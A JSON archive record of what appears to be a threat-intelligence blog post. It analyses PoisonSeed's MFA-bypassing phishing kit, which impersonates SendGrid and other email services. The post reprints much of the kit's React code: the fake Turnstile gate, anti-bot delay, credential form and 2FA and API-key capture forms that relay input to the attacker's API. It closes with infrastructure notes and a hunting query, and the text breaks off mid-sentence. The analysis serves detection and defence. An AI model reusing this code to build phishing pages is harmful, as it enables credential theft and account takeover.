{
	"id": "a803a9e5-c0a5-49f0-b682-9eb6a5f95f98",
	"created_at": "2026-04-06T00:11:31.942603Z",
	"updated_at": "2026-04-10T03:37:23.970685Z",
	"deleted_at": null,
	"sha1_hash": "96095d8a87563b7559753949a35fd157aeaabd60",
	"title": "Inside PoisonSeed's MFA Phishing Tactics",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1759816,
	"plain_text": "Inside PoisonSeed's MFA Phishing Tactics\r\nBy Efstratios Lontzetidis\r\nPublished: 2025-08-12 · Archived: 2026-04-05 14:40:50 UTC\r\nKey Findings:\r\nNVISO identified and analyzed the MFA-resistant phishing kit employed by the threat actor PoisonSeed,\r\nwhich is loosely aligned with Scattered Spider and CryptoChameleon. This kit is still active as of the time\r\nof reporting.\r\nPoisonSeed uses this phishing kit to acquire credentials from individuals and organizations, leveraging\r\nthem for email infrastructure purposes such as sending emails and acquiring email lists to expand the scope\r\nof cryptocurrency-related spam.\r\nThe domains hosting this phishing kit impersonate login services from prominent CRM and bulk email\r\ncompanies like Google, SendGrid, Mailchimp, and likely others, targeting individuals’ credentials.\r\nPoisonSeed employs spear-phishing emails embedding malicious links, which redirect victims to their\r\nphishing kit.\r\nThe victim’s email is appended in the phishing kit’s URL and also stored as a cookie in an encrypted\r\nformat that is verified server-side, a technique known as “Precision-Validated Phishing.”\r\nThe phishing kit includes a fake Cloudflare Turnstile challenge to verify the victim’s encrypted email.\r\nIt supports multiple 2FA methods such as Authenticator Codes, SMS Codes, Email Codes and API Keys.\r\nThe phishing kit acts as an Adversary-in-the-Middle (AitM), forwarding login and two-factor\r\nauthentication (2FA) details to the legitimate service and capturing all authentication information.\r\nPoisonSeed registered all their domains through the NICENIC registrar. For hosting, they utilized\r\nCloudflare, DE-First Colo, and SWISSNETWORK02, and for name servers, they utilized Cloudflare and\r\nBunny.net.\r\nThis blog provides hunting opportunities, prevention measures related to strong authentication, user\r\nawareness, and anomaly detection, as well as indicators of compromise.\r\nIntroduction\r\nAs first reported by SilentPush, PoisonSeed is a threat actor whose TTPs closely align with Scattered Spider and\r\nCryptoChameleon, groups that are part of “The Com,” a young, English-speaking threat actor community. They\r\nengage in phishing attacks to obtain login information from CRM and bulk email service providers, allowing them\r\nto export contact lists and distribute larger volumes of spam using these accounts. The primary aim of targeting\r\nemail providers appears to be establishing infrastructure for conducting cryptocurrency-related spam activities.\r\nRecipients of these spam operations are subjected to a cryptocurrency seed phrase manipulation attack. In this\r\ntactic, PoisonSeed offers security seed phrases, encouraging victims to use them in new cryptocurrency wallets,\r\nwhich they can later exploit. PoisonSeed is responsible for the campaign that targeted Troy Hunt where the actors\r\nstole his Mailchimp mailing list, and the Coinbase phishing emails tricking users with fake wallet migration.\r\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nPage 1 of 28\n\nIn this blog, NVISO builds on SilentPush’s report and analyzes PoisonSeed’s MFA-resistant phishing kit, which\r\ncontinues to be active in the wild since April 2025.\r\nPoisonSeed Phishing Activity\r\nPoisonSeed’s phishing kit utilizes email infrastructure to send spear-phishing emails containing marketing-related\r\nlinks. These links redirect to domains hosting the phishing kit, appending the victim’s email in an encrypted\r\nformat in the URL. From there, a fake Cloudflare Turnstile challenge page appears that performs victim\r\nverification server-side, in the background. This verification checks the presence and validity of the encrypted\r\nemail in the URL, ensuring it is not banned by the legitimate service. Upon passing these checks, a login form\r\nmimicking the legitimate service appears, capturing submitted credentials and relaying them to the legitimate\r\nservice. If the credentials are valid, the victim is presented with a page corresponding to the registered 2FA\r\nmethod (Authenticator, SMS, Email, API Key). The phishing kit relays the 2FA method submitted by the victim,\r\nresulting in capturing the authentication cookies before providing them also to the victim. Thus, the threat actor\r\nbypasses MFA protections to gain account access. Once authentication details are captured, PoisonSeed automates\r\nthe bulk downloading of email lists.\r\nPoisonSeed Phishing Attack Chain\r\nInitial Access\r\nPoisonSeed initiates its attack by delivering phishing emails to targeted individuals. Email lures feature subjects\r\nmimicking the impersonated email provider, such as “Sending Privileges Restricted”. The emails contain a\r\nmalicious link prompting the recipient to take action.\r\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nPage 2 of 28\n\nExample of phishing email sent to Troy Hunt\r\nEmail marketing and CRM-related links were observed redirecting to PoisonSeed’s phishing domains (source:\r\nURLScan). Links such as *.ct.sendgrid.net redirected to URLs hosting the phishing kit, with the target’s email\r\nappended as an encrypted parameter. An example of a public URLScan task is this one.\r\nSendGrid URL redirecting to PoisonSeed’s Phishing Domain\r\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nPage 3 of 28\n\nPhishing Kit Technical Analysis\r\nThe phishing kit is developed using React and features the following structure:\r\nA fake Cloudflare Turnstile challenge verifies the victim’s email address presence in the phishing URL in\r\nthe background.\r\nA login form captures usernames and passwords, relaying them to the impersonated legitimate service.\r\nA form captures 2FA details—SMS/Authenticator/Email code or API key—based on the registered method,\r\nand relays them to the impersonated service, ultimately capturing authentication cookies.\r\nPoisonSeed’s Phishing Kit Overview\r\nThe features of each component are detailed next, using SendGrid as an example of the impersonated service—a\r\npopular cloud-based email delivery service.\r\nApp.jsx\r\nThis component validates whether the victim has completed preliminary security steps, specifically the fake\r\nCloudflare Turnstile challenge, before accessing protected routes like the login and 2FA forms.\r\nIIf no encrypted email is detected initially and the session isn’t marked as verified in session storage, the victim is\r\nredirected to Google.\r\nfunction App() {\r\n const [error, setError] = useState('');\r\n const location = useLocation();\r\n const isVerified = sessionStorage.getItem('fakeTurnstileVerified') === 'true';\r\n useEffect(() =\u003e {\r\n \r\n const queryParams = new URLSearchParams(location.search);\r\n const encryptedEmail = queryParams.get('email');\r\n console.log('Location.search:', location.search);\r\n console.log('Encrypted email from query:', encryptedEmail);\r\n \r\n if (!encryptedEmail \u0026\u0026 location.pathname === '/' \u0026\u0026 !isVerified) {\r\n console.log('No encrypted email found on initial load, redirecting to Google');\r\n window.location.href = 'https://www.google.com';\r\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nPage 4 of 28\n\n} else if (encryptedEmail) {\n console.log('Encrypted email found, proceeding:', encryptedEmail);\n } else {\n console.log('No email on subsequent route, continuing anyway');\n }\n }, [location]);\nJavaScript\nApp.jsx defines a “ProtectedRoute” wrapper serving as a gatekeeper for routes necessitating verification. It\nassesses verification status based on the session storage flag. If the victim isn’t verified, the component redirects\nthe victim to the verification route (“/verify” – Fake Cloudflare Turnstile) while preserving the original query\nstring and state.\nconst ProtectedRoute = ({ children }) =\u003e {\n if (!isVerified) {\n const queryString = location.search;\n return ;\n }\n return children;\n };\nJavaScript\nFinally, the component maps URL paths to corresponding components through a set of routes:\n• The “/verify” path, which renders the TurnstileChallenge component.\n• The root path (“/”), which renders the LoginForm component wrapped in the login layout and ProtectedRoute.\n• Specific two-factor authentication routes (“/2fa/sms/”, “/2fa/ga/”, “/2fa/email/”) that display the corresponding\n2FA component only if the victim is verified.\n• The API key verification route (“/verify-api-key/”) that follows a similar protected pattern.\n• A wildcard route that redirects any unmatched URLs back to the “/verify” path.\nreturn ( } /\u003e {renderLoginLayout()} }\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\nPage 5 of 28\n\n/\u003e }\n /\u003e }\n /\u003e }\n /\u003e }\n /\u003e } /\u003e );\nJavaScript\nTurnstileChallenge.jsx\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\nPage 6 of 28\n\nFake Turnstile Challenge\r\nTurnstileChallenge.jsx manages the initial bot verification step. It mimics a Cloudflare Turnstile Challenge, as\r\nconfirmed by Validin, to ensure a legitimate victim request. The component verifies the presence of an encrypted\r\nemail in the URL, validates it via an API call, and sets verification flags in cookies and session storage upon\r\nsuccess.\r\nA one-second timer is employed before permitting the victim to verify their human status. This delay (set through\r\n“canVerify”) protects against automated bot or security tools actions by ensuring that the verification control isn’t\r\navailable immediately upon load.\r\n// Anti-bot delay\r\n useEffect(() =\u003e {\r\n const timer = setTimeout(() =\u003e {\r\n setCanVerify(true);\r\n }, 1000);\r\n return () =\u003e clearTimeout(timer);\r\n }, []);\r\nJavaScript\r\nUpon mounting, the component retrieves the “encryptedEmail” value from the URL’s query parameters.\r\nIf “encryptedEmail” is absent, the component logs the event and promptly redirects the victim to Google to\r\nblock access.\r\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nPage 7 of 28\n\nIf “encryptedEmail” is present, the component initiates an asynchronous POST request to the API endpoint\r\n(/api/check-email) using the Axios HTTP client. This technique is inferred as “Precision-Validated\r\nPhishing”, in which the attacker validates an email address in real-time. In this scenario, this happens\r\nserver-side.\r\nThe API response is evaluated to confirm the email’s validity and non-banned status.\r\nIf the email fails validation or an error arises, cookies and session storage are cleared, and the victim\r\nis redirected to the verification route (“/verify”).\r\nUpon successful email validation, the “isChecked” state is set to “true”, enabling the display of the\r\nverification user interface.\r\n// Check encrypted email on mount\r\n useEffect(() =\u003e {\r\n const queryParams = new URLSearchParams(location.search);\r\n const encryptedEmail = queryParams.get('email');\r\n if (!encryptedEmail) {\r\n console.log('No email in Turnstile, redirecting to Google');\r\n window.location.href = 'https://www.google.com';\r\n setShouldRedirect(true); // Set flag to prevent rendering\r\n return;\r\n }\r\n const checkEmail = async () =\u003e {\r\n try {\r\n const API_URL = process.env.REACT_APP_API_URL || 'http://localhost:5000/api';\r\n const response = await axios.post(`${API_URL}/check-email`, { encryptedEmail });\r\n console.log('Email check response:', response.data);\r\n if (!response.data.valid || response.data.banned) {\r\n console.log('Invalid or banned email, clearing session and redirecting to /verify');\r\n document.cookie.split(';').forEach((cookie) =\u003e {\r\n const [name] = cookie.split('=');\r\n document.cookie = `${name.trim()}=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=Strict`;\r\n });\r\n sessionStorage.clear();\r\n navigate('/verify', { replace: true });\r\n setShouldRedirect(true);\r\n } else {\r\n setIsChecked(true); // Only set if check passes\r\n }\r\n } catch (error) {\r\n console.error('Email check error:', error.response?.data || error.message);\r\n document.cookie.split(';').forEach((cookie) =\u003e {\r\n const [name] = cookie.split('=');\r\n document.cookie = `${name.trim()}=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=Strict`;\r\n });\r\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nPage 8 of 28\n\nsessionStorage.clear();\r\n navigate('/verify', { replace: true });\r\n setShouldRedirect(true);\r\n }\r\n };\r\n checkEmail();\r\n }, [location, navigate]);\r\nJavaScript\r\nThe “handleVerify” function activates upon the victim clicking the verification box:\r\nIt initially checks the “canVerify” flag’s status to ensure the anti-bot delay has elapsed; if not, a message is\r\nlogged and the action blocked.\r\nUpon verification eligibility, the function retrieves “encryptedEmail”, sets a URL-encoded cookie named\r\n“encryptedEmail”, and updates session storage to mark verification (“fakeTurnstileVerified” set to “true”).\r\nFinally, navigation directs the victim to the originally requested path, stored in “location.state” or\r\ndefaulting to “/” (LoginForm.jsx).\r\nconst handleVerify = () =\u003e {\r\n if (!canVerify) {\r\n console.log('Verification blocked: Too soon or bot detected');\r\n return;\r\n }\r\n const queryParams = new URLSearchParams(location.search);\r\n const encryptedEmail = queryParams.get('email');\r\n // No need to check encryptedEmail here; handled in useEffect\r\n console.log('Checkbox clicked! Redirecting to:', requestedPath);\r\n const cookieValue = encodeURIComponent(encryptedEmail);\r\n document.cookie = `encryptedEmail=${cookieValue}; path=/; max-age=3600; SameSite=Strict`;\r\n sessionStorage.setItem('fakeTurnstileVerified', 'true');\r\n navigate(requestedPath, { replace: true });\r\n };\r\nJavaScript\r\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nPage 9 of 28\n\nURLScan example: encryptedEmail appended as Cookie\r\nLoginForm.jsx\r\nLoginForm Page\r\nLoginForm.jsx renders and manages the initial username and password login process. It manages victim input,\r\nvalidates the session by checking a previously stored encrypted email (stored in a cookie), and then interacts with\r\nthe backend API to verify the email and perform the login. It also handles the display of error messages when\r\nlogin fails or when the email fails validation.\r\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nPage 10 of 28\n\nUpon mounting, “useEffect” executes the following actions:\r\nIt reads the encrypted email from cookies. If the cookie is absent, a message is logged, the session is\r\ncleared using the “clearSession” helper, and navigation to the verification route (“/verify”) occurs.\r\nIf the email is present, verification proceeds via an API call (POST request to “/check-email”).\r\nIf the API response indicates invalid or banned status, the session is cleared and redirection to\r\n“/verify” occurs.\r\nIf the email is valid, it sets the “isChecked” flag to “true”, allowing the login process to continue.\r\nIf an initial error message is provided (via the “initialError” prop), it constructs an error message to render\r\nwithin the UI.\r\nuseEffect(() =\u003e {\r\n const email = Cookies.get('encryptedEmail');\r\n if (email) {\r\n setEncryptedEmail(email);\r\n } else {\r\n console.log('No encrypted email in cookies, redirecting to /verify');\r\n clearSession();\r\n navigate('/verify', { replace: true });\r\n return;\r\n }\r\n const checkEmail = async () =\u003e {\r\n try {\r\n const API_URL = process.env.REACT_APP_API_URL || 'http://localhost:5000/api';\r\n const response = await axios.post(`${API_URL}/check-email`, { encryptedEmail: email });\r\n console.log('Email check response:', response.data);\r\n if (!response.data.valid || response.data.banned) {\r\n console.log('Invalid or banned email, clearing session and redirecting to /verify');\r\n clearSession();\r\n navigate('/verify', { replace: true });\r\n } else {\r\n setIsChecked(true);\r\n }\r\n } catch (error) {\r\n console.error('Email check error:', error.response?.data || error.message);\r\n clearSession();\r\n navigate('/verify', { replace: true });\r\n }\r\n };\r\n checkEmail();\r\n if (initialError) {\r\n setMessage(\r\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nPage 11 of 28\n\ndiv\u003e\n\nYour username or password is invalid.\n\n);\n }\n }, [initialError, navigate]);\nJavaScript\nThe “handleSubmit” function handles the form submission event:\nIt prevents the default form-submission behavior and clears any existing messages while setting a loading\nstate.\nBefore submitting login credentials (“username”, “password”, “encryptedEmail”) to the API, an additional\nemail check is performed at the “/check-email” endpoint. This acts as an extra layer of verification.\nIf the email check fails during login, the session is cleared and the victim is redirected to the “/verify”\nroute.\nIf the email is confirmed valid, a POST request is made to the “/login” endpoint with the “username”,\n“password”, and “encryptedEmail”. We have noticed that in multiple occasions, the API endpoint domain\ndiffers from the one of the user interface.\nThe API response determines the next action:\nIf the HTTP status is 202 (indicating a request has been accepted for processing, but processing has not\nbeen completed or may not have started) and a redirect location is provided, it uses navigate to go to a two-factor authentication route (Authenticator, SMS, Email, API Key) depending of the account’s\nauthentication controls.\nIf the HTTP status is 200 (indicating a request has succeeded) and a redirect is provided, it uses a full page\nredirect (“window.location.href”) to navigate to the protected resource.\nIf none of these conditions are satisfied, an error message from the API response is generated and\ndisplayed.\nAny caught errors during the API calls result in an error message being set and displayed in the user\ninterface.\nFinally, the loading state resets to allow further victim interactions.\nconst handleSubmit = async (e) =\u003e {\n e.preventDefault();\n setIsLoading(true);\n setMessage('');\n try {\n const API_URL = process.env.REACT_APP_API_URL || 'http://localhost:5000/api';\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\nPage 12 of 28\n\nconst checkResponse = await axios.post(`${API_URL}/check-email`, { encryptedEmail });\n if (!checkResponse.data.valid || checkResponse.data.banned) {\n console.log('User banned during login attempt, clearing session and redirecting to /verify');\n clearSession();\n navigate('/verify', { replace: true });\n setIsLoading(false);\n return;\n }\n const response = await axios.post(`${API_URL}/login`, {\n username,\n password,\n encryptedEmail,\n });\n console.log('Login response:', response.data);\n if (response.status === 200) {\n if (response.data.status === 202 \u0026\u0026 response.data.redirect) {\n console.log('Navigating to:', response.data.redirect);\n // here is the navigation for 2fa since it changes the route\n navigate(response.data.redirect);\n } else if (response.data.status === 200 \u0026\u0026 response.data.redirect) {\n console.log('Redirecting to:', response.data.redirect);\n window.location.href = response.data.redirect;\n } else {\n setMessage(\n\ndiv\u003e\n\n{response.data.message}\n\n);\n }\n } else {\n throw new Error('Unexpected HTTP status: ' + response.status);\n }\n } catch (error) {\n console.error('Login error:', error);\n const errorMessage = error.response?.data?.message || error.message || 'Login failed';\n setMessage(\n\ndiv\u003e\n\n{errorMessage}\n\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\nPage 13 of 28\n\n\u003c/div\u003e\r\n );\r\n } finally {\r\n setIsLoading(false);\r\n }\r\n };\r\nJavaScript\r\nLoginForm Submission\r\nTwoFactorSMS.jsx\r\nTwo-Factor Authentication Screen\r\nTwoFactorSMS.jsx manages SMS-based two-factor authentication (2FA). It provides victims with an interface to\r\nenter a verification code received via text message. The component handles code submission by verifying the\r\nentered code with a backend endpoint. It also includes functionality to resend the SMS code if needed.\r\nWhen the form is submitted:\r\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nPage 14 of 28\n\nThe “handleSubmit” function halts default form behavior and clears prior error or resend messages.\r\nIt retrieves the encrypted email from the cookies and then sends a POST request to the “/2fa/verify”\r\nendpoint. The request includes the “twoFactorId” (from URL parameters), the entered code, and the\r\nencrypted email.\r\nThe response is parsed as JSON:\r\nIf “data.status” equals 200, implying a successful full verification, the victim is redirected via\r\n“window.location.href”.\r\nIf “data.status” equals 202, an in-app redirection is performed using navigate.\r\nFor other response statuses, an error message is displayed.\r\nThe “isLoading” state ensures that the victim cannot trigger multiple submissions concurrently.\r\nconst handleSubmit = async (e) =\u003e {\r\n e.preventDefault();\r\n setError('');\r\n setResendMessage('');\r\n setIsLoading(true);\r\n const encryptedEmail = Cookies.get('encryptedEmail');\r\n try {\r\n const response = await fetch(`${API_URL}/2fa/verify`, {\r\n method: 'POST',\r\n headers: {\r\n 'Content-Type': 'application/json',\r\n },\r\n body: JSON.stringify({\r\n twoFactorId,\r\n code,\r\n encryptedEmail,\r\n }),\r\n });\r\n const data = await response.json();\r\n if (data.status === 200) {\r\n window.location.href = data.redirect;\r\n } else if (data.status === 202) {\r\n navigate(data.redirect);\r\n } else {\r\n setError(data.message || 'Invalid code. Please try again.');\r\n }\r\n } catch (err) {\r\n console.error('Error verifying 2FA:', err);\r\n setError('An error occurred. Please try again.');\r\n } finally {\r\n setIsLoading(false);\r\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nPage 15 of 28\n\n}\r\n };\r\nJavaScript\r\nThe “handleResend” function provides an alternative pathway for victims who prefer receiving the 2FA code via\r\nSMS:\r\nIt resets any error or resend messages and triggers the loading state.\r\nUsing the encrypted email from cookies, the component sends a POST request to the endpoint\r\n(“/2fa/resend-sms”) to initiate the SMS code resend process.\r\nUpon success, a confirmation message appears and navigation to the SMS-based 2FA route occurs.\r\nIn the event of an error (either from the fetch call or non-OK HTTP response), an appropriate error\r\nmessage is displayed to the victim.\r\nThe loading state is cleared once the request is completed.\r\nconst handleResend = async () =\u003e {\r\n setError('');\r\n setResendMessage('');\r\n setIsLoading(true);\r\n const encryptedEmail = Cookies.get('encryptedEmail');\r\n try {\r\n const response = await fetch(`${API_URL}/2fa/resend-sms`, {\r\n method: 'POST',\r\n headers: {\r\n 'Content-Type': 'application/json',\r\n },\r\n body: JSON.stringify({\r\n twoFactorId,\r\n encryptedEmail,\r\n }),\r\n });\r\n const data = await response.json();\r\n if (response.ok) {\r\n setResendMessage('A new SMS code has been sent.');\r\n } else {\r\n setError(data.message || 'Failed to resend SMS code. Please try again.');\r\n }\r\n } catch (err) {\r\n console.error('Error resending SMS code:', err);\r\n setError('An error occurred while resending the SMS code.');\r\n } finally {\r\n setIsLoading(false);\r\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nPage 16 of 28\n\n}\n };\nJavaScript\nTwoFactorEmail.jsx\nTwoFactorEmail.jsx manages email-based two-factor authentication (2FA). It displays a form where victims can\nenter a verification code that was sent to their email. The component retrieves the associated victim email based\non the 2FA identifier from the URL, validates the entered code against the backend API, and then navigates the\nvictim accordingly based on the verification outcome.\nWithin “useEffect”, the component executes these tasks:\nChecks if the “twoFactorId” parameter is available; if missing, an error message is rendered indicating an\ninvalid 2FA request.\nIf “twoFactorId” exists, a GET request to the designated API endpoint (using a base URL from\nenvironment variables) retrieves the victim’s email.\nOn success, the email is stored. In the event of an error during this fetch, an error message is set to inform\nthe victim that their email could not be loaded.\nuseEffect(() =\u003e {\n const fetchEmail = async () =\u003e {\n if (!twoFactorId) {\n setMessage(\n\n![Error Icon](https://login.mailgun.com/login/static/error.svg) Invalid 2FA request\n\n);\n return;\n }\n try {\n const API_URL = process.env.REACT_APP_API_URL || 'http://localhost:5000/api';\n const response = await axios.get(`${API_URL}/2fa/email/${twoFactorId}`);\n setUserEmail(response.data.email);\n } catch (error) {\n setMessage(\n\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\nPage 17 of 28\n\n![Error Icon](https://login.mailgun.com/login/static/error.svg) Failed to load user email\n\n);\n }\n };\n fetchEmail();\n }, [twoFactorId]);\nJavaScript\nThe “handleSubmit” function is triggered when the victim submits the verification form:\nThe default form submission event is prevented, and a loading state is enabled.\nA status message is displayed to indicate that the code verification is in progress.\nThe component sends a POST request to the API endpoint (“/2fa/verify-email”) with the “twoFactorId”,\nthe entered code, and the “dontAskAgain” option.\nDepending on the API response:\nIf the response status is 200 and a redirect URL is provided, the victim is redirected either via\n“window.location.href” (full page redirect) or through the navigate function provided by React\nRouter (for in-app route changes).\nIf the verification is successful but no explicit redirect is provided, a success message is shown and\nthe victim is navigated to the home page after a short delay.\nIf code verification fails, an error message informs the victim of the failure.\nThe loading state is reset in the finally block of the try-catch structure once the process completes.\nconst handleSubmit = async (e) =\u003e {\n e.preventDefault();\n setIsLoading(true);\n setMessage(\n\nVerifying code...\n\n);\n try {\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\nPage 18 of 28\n\nconst API_URL = process.env.REACT_APP_API_URL || 'http://localhost:5000/api';\n const response = await axios.post(`${API_URL}/2fa/verify-email`, {\n twoFactorId,\n code,\n dontAskAgain,\n });\n if (response.status === 200) {\n if (response.data.status === 200 \u0026\u0026 response.data.redirect) {\n window.location.href = response.data.redirect;\n } else if (response.data.status === 202 \u0026\u0026 response.data.redirect) {\n setMessage(\n\nRedirecting...\n\n);\n navigate(response.data.redirect);\n } else if (response.data.status === 200) {\n setMessage(\n\n{response.data.message}\n\n);\n setTimeout(() =\u003e navigate('/'), 2000);\n } else {\n setMessage(\n\n![Error Icon](https://login.mailgun.com/login/static/error.svg) {response.data.message}\n\n);\n }\n } else {\n throw new Error('Unexpected HTTP status: ' + response.status);\n }\n } catch (error) {\n const errorMessage = error.response?.data?.message || 'Email code verification failed';\n setMessage(\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\nPage 19 of 28\n\n![Error Icon](https://login.mailgun.com/login/static/error.svg) {errorMessage}\n\n);\n } finally {\n setIsLoading(false);\n }\n };\nJavaScript\nTwoFactorGA.jsx\nTwoFactorGA.jsx facilitates Google Authenticator–style 2FA. It presents a form where victims enter a 6-digit\ncode generated by the authenticator app. After form submission, the code is verified by the backend, and the\nvictim is redirected as appropriate depending on the verification outcome. In addition, the component provides an\noption to request a code via SMS, transitioning the victim to a different 2FA route.\nWhen the victim submits the form:\nThe “handleSubmit” function activates, clearing existing error or resend messages and setting the loading\nstate.\nIt obtains the encrypted email from cookies and, along with the “twoFactorId” and the entered code, sends\na POST request (using fetch) to the backend endpoint (“/2fa/verify”).\nThe response returned by the API is parsed as JSON.\nIf the response status is 200, a full page redirect is invoked via “window.location.href”.\nIf the status is 202, the component navigates internally to a new route using the navigate function.\nIf neither status is met, an error message indicates code invalidity or another issue.\nFinally, the loading state is reset to allow further attempts if necessary.\nIt also consists the same “handleResend” function described in the TwoFactorSMS.jsx.\nconst handleSubmit = async (e) =\u003e {\n e.preventDefault();\n setError('');\n setResendMessage('');\n setIsLoading(true);\n const encryptedEmail = Cookies.get('encryptedEmail');\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\nPage 20 of 28\n\ntry {\r\n const response = await fetch(`${API_URL}/2fa/verify`, {\r\n method: 'POST',\r\n headers: {\r\n 'Content-Type': 'application/json',\r\n },\r\n body: JSON.stringify({\r\n twoFactorId,\r\n code,\r\n encryptedEmail,\r\n }),\r\n });\r\n const data = await response.json();\r\n if (data.status === 200) {\r\n window.location.href = data.redirect;\r\n } else if (data.status === 202) {\r\n navigate(data.redirect);\r\n } else {\r\n setError(data.message || 'Invalid code. Please try again.');\r\n }\r\n } catch (err) {\r\n console.error('Error verifying 2FA:', err);\r\n setError('An error occurred. Please try again.');\r\n } finally {\r\n setIsLoading(false);\r\n }\r\n };\r\nJavaScript\r\nApiKeyVerification.jsx\r\nLastly, ApiKeyVerification.jsx manages API key–based authentication. It allows victims to verify their identity by\r\nproviding an API key that starts with the prefix “SG.” The component validates the API key on the client side,\r\nthen sends it along with an encrypted email (retrieved from cookies) to the backend for verification. Depending on\r\nthe response, the victim is either redirected or shown an error message.\r\nWhen the form is submitted (“handleSubmit” function):\r\nThe default form submission behavior is prevented.\r\nPrevious error messages are cleared.\r\nA client-side check is performed to confirm that the API key starts with “SG.” If it doesn’t, an error\r\nmessage is immediately set and the submission is halted.\r\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nPage 21 of 28\n\nIf the prefix check passes, the component retrieves the encrypted email from cookies and then sets the\r\n“isLoading” flag to true before proceeding.\r\nThe component sends a POST request to the backend endpoint “/verify-api-key/[apiKeyId]” (with “apiKeyId”\r\nextracted from the URL). The request’s JSON body consists of the “apiKeyId”, the provided “apiKey”, and the\r\nencrypted email. After receiving and parsing the response:\r\nIf “data.status” equals 200, a full page redirect is triggered using “window.location.href”.\r\nIf “data.status” equals 202, the component uses the navigate function for an in-app redirection.\r\nFor any other status, an error message is set (using the value provided by the backend or a default\r\nmessage).\r\nconst handleSubmit = async (e) =\u003e {\r\n e.preventDefault();\r\n setError('');\r\n // Client-side SG. prefix check\r\n if (!apiKey.startsWith('SG.')) {\r\n setError('Invalid API key');\r\n return;\r\n }\r\n setIsLoading(true);\r\nconst encryptedEmail = Cookies.get('encryptedEmail'); // Retrieves the cookie by name\r\n try {\r\n const response = await fetch(`${API_URL}/verify-api-key/${apiKeyId}`, {\r\n method: 'POST',\r\n headers: {\r\n 'Content-Type': 'application/json',\r\n },\r\n body: JSON.stringify({\r\n apiKeyId,\r\n apiKey,\r\n encryptedEmail,\r\n }),\r\n });\r\n const data = await response.json();\r\n if (data.status === 200) {\r\n window.location.href = data.redirect;\r\n } else if (data.status === 202) {\r\n navigate(data.redirect);\r\n } else {\r\n setError(data.message || 'Invalid API key. Please try again.');\r\n }\r\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nPage 22 of 28\n\n} catch (err) {\r\n console.error('Error verifying API key:', err);\r\n setError('An error occurred. Please try again.');\r\n } finally {\r\n setIsLoading(false);\r\n }\r\n };\r\nJavaScript\r\nUltimately, attackers capture authentication cookies as Adversary-in-the-Middle (AitM) and relay them back to the\r\nvictim. PoisonSeed successfully bypasses MFA, enabling them to access the victim’s account and pursue\r\nobjectives manually or automatically, including bulk email list downloads and sending emails from the\r\ncompromised account.\r\nInfrastructure Analysis\r\nRedirection Domains\r\nThe majority of domains redirecting to phishing sites originated from sendgrid.net (source: URLScan).\r\nAdditional identified domains are associated with email marketing, CRM solutions, and legitimate business\r\nwebsites across various sectors, likely indicating compromise.\r\nSummary of Total Tasks by Redirection Domain\r\nRegistrar\r\nNICENIC served as the registrar for all identified phishing domains hosting this kit. Nicenic.net ranks third for\r\nmost malicious domain registrations, per Spamhaus as of this blog’s writing. Additionally, that registrar is the\r\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nPage 23 of 28\n\npreferred choice for both Scattered Spider and CryptoChameleon (members of “The Com”).\r\nSummary of Domains by Registrar\r\nHosting Providers\r\nMost phishing domains were hosted on Cloudflare—ranked 5th among top malware hosting networks and favored\r\nfor IP address obfuscation—followed by DE-Firstcolo and SWISSNETWORK02, ranked 15th and listed in\r\nSpamhaus ASN-DROP.\r\nSummary of Domains by AS Name\r\nName Servers\r\nPoisonSeed selected Cloudflare and Bunny.net for Name Servers.\r\nSummary of Domains by Name Server\r\nhttps://blog.nviso.eu/2025/08/12/shedding-light-on-poisonseeds-phishing-kit/\r\nPage 24 of 28\n\nHunting Opportunities\r\nURLScan\r\nThe following URLscan query (requiring a PRO plan) reliably detects PoisonSeed’s phishing domains and\r\nsubdomains by analyzing API requests for encrypted email verification, email presence in URLs, titles with\r\n‘Verification’ or ‘Sign-in’, and cookie names containing encrypted email or fake Turnstile challenge strings:\r\nfilename:\"/api/check-email\" AND page.url:*?email=* AND ((page.title:*Verification* OR page.title:*Sign*) OR con\r\nJavaScript\r\nSilentPush\r\nThis Silent Push’s WHOIS Scanner example search serves as a starting point for identifying domains potentially\r\nregistered by PoisonSeed for phishing kit deployment:\r\nSilentPush WHOIS Scanner Search for PoisonSeed Domains\r\nThe searches are based on the absence of City and Zip Code fields, the presence of State and Country fields, the\r\nNICENIC registrar, Cloudflare as name server (also combined with Bunny.net in a separate search term), and\r\nregistration after March 2025 in the WHOIS data. Note that these searches yield potential PoisonSeed phishing\r\ndomain candidates, 